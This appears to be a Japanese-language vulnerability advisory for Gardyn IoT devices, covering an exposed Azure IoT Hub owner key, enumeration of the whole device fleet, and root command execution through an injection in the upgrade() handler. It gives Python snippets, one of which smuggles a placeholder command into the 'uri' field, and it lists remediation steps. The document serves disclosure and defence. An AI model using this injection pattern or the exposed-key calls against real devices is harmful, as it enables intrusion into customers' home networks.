CVE-2026-13768: 特権的IoTハブ資格情報 — フリート列挙、デバイスRCE、およびホームネットワーク侵入

勧告

製品

概要

Gardynは特権的な iothubowner 共有アクセスキーを公開しています。このキーにアクセスすると、悪意のあるユーザーがAzure IoT Hubレジストリマネージャー機能を呼び出し、すべての Gardyn Home Kit および Studio デバイスの接続情報を返すことができます。同じキーを使用すると、特定の接続デバイス上で任意のコマンドを実行でき、攻撃者は被害者のホームネットワーク上の他のデバイスに横展開できる可能性があります。

これは、管理資格情報のコントロールプレーンの影響範囲をカタログ化したIoTハブ勧告(ICSA-26-183-03)です。これは、ICSA-26-055-03 の CVE-2025-1242 に関連するが、それとは異なります。同CVEは iothubowner 資格情報の露出をカタログ化していました。CVE-2026-13768 はその資格情報の保有によって可能となること、すなわちフリート全体の列挙、デバイスごとのリモートコード実行、およびホームLANへの横方向の移動を捕捉します。

脆弱性の詳細

資格情報

iothubowner 共有アクセスポリシーは、Azure IoT Hubで最も高い権限を持つ資格情報です。Microsoftはこれをバックエンドサービス管理専用として文書化しており、クライアントに配布してはなりません。

フリート列挙（レジストリマネージャー）

このキーを使用すると、IoTHubRegistryManager はフリート全体の接続情報を返します。

from azure.iot.hub import IoTHubRegistryManager
manager = IoTHubRegistryManager.from_connection_string(hub_conn_string)  # iothubowner
online = manager.query_iot_hub("SELECT * FROM devices WHERE connectionState = 'Connected'")

デバイスごとのリモートコード実行

クラウドからデバイスへのダイレクトメソッドは任意のデバイスに到達します。デバイスの upgrade() ハンドラ (CVE-2025-29631) におけるコマンドインジェクション経路と組み合わせることで、C2Dメソッドはターゲットデバイス上でrootコマンド実行をもたらします。

from azure.iot.hub.models import CloudToDeviceMethod
method = CloudToDeviceMethod(method_name="upgrade", payload={
    "uri": "http://x; <command> ",   # injection sink in upgrade()
    "path": "/tmp/x", "services": []})
manager.invoke_device_method(device_id, method)

ホームネットワークへの横展開

各デバイスは顧客のホームWiFi上に存在します。デバイス上でのコマンド実行はホームファイアウォールの背後に足場を提供し、攻撃者はそこからLANをスキャンし、他のホスト（ルーター、NAS、カメラ、スマートロック、パソコン）とやり取りできます。デバイスがピボットポイントです；それはすでにネットワーク内部にあります。これがGr0m-013の横方向移動条件です。

調整された調査結果へのマッピング

修復

ICSA-26-183-03によると、Gardynはリストされた脆弱性に対処するためにIoT Hubデプロイインフラストラクチャが更新されたと述べています。

1. iothubowner 管理資格情報をローテーションする（初期アクセスを遮断）。
2. 最小権限のデバイスごとの資格情報を発行する；クライアントが到達可能なパスからフリート全体の管理キーを廃止する。
3. upgrade() コマンドインジェクションシンク (CVE-2025-29631) を排除してRCEプリミティブを除去する。
4. ダイレクトメソッドに対するコマンド許可リストを強制する。
5. IoT Hubのアクセスログと異常アラートを有効にする（ベンダーはCISAに対して、露出期間中に影響を受けるエンドポイントにアクセスログが存在しなかったと述べている）。

研究者: Michael Groberman (Gr0m) · ケース: CERT/CC VU#653116 · 勧告: ICSA-26-183-03